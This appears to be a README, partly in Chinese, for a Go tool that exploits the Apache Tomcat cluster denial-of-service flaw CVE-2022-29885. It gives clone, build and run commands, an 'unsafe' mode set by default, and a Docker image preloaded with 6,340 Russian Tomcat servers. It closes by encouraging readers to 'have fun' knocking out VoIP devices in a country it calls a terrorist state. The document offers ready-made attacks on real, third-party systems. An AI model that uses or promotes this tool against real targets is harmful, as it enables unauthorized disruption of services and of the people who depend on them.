
Apache Tomcat DoS (CVE-2022-29885) Exploit
Apache Tomcat DoS(CVE-2022-29885)漏洞利用。
EncryptInterceptor(Tomcat 集群)中的拒绝服务漏洞。
目标机器需要启动 Cluster Nio Receiver。
发送一个特殊的 TCP 数据包将导致目标服务拒绝。
无论是否使用 EncryptInterceptor,在满足以下条件时都存在拒绝服务漏洞的可能性:
Tomcat 集群功能已启用并使用 NioReceiver 进行通信。
任何版本的 Tomcat 都会受到影响。唯一的解决方案是使用可信网络。
安全的配置文件 server.xml 包含
<Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
encryptionAlgorithm="AES/CBC/PKCS5Padding"
encryptionKey="ANY_KEY(LENGTH:32)"/>
其他所有配置变体均不安全。
应用程序
1. git clone https://github.com/iveresk/CVE-2022-29885.git
2. cd CVE-2022-29885
3. go build -o /cve-2022-29885
4. ./cve-2022-29885 -t <target_url or file_name> [OPTIONAL] -s false -d false
- t - target URL or filename
- d - debug {true, false} flag which enables or disables logs
- s - safe and unsafe regime switcher. Default value is unsafe.
Docker 预设了 6340 个 ruzzian Apache Tomcat 服务器,涵盖最常见的 10 个 Tomcat 端口。
默认设置为 Unsafe 模式。
docker run -d masterroot/cve-2022-29885
祝你在 ruzzland-terrorist-state 的 VoIP 设备上玩得开心 :D

如有任何问题,欢迎通过 Keybase 联系我。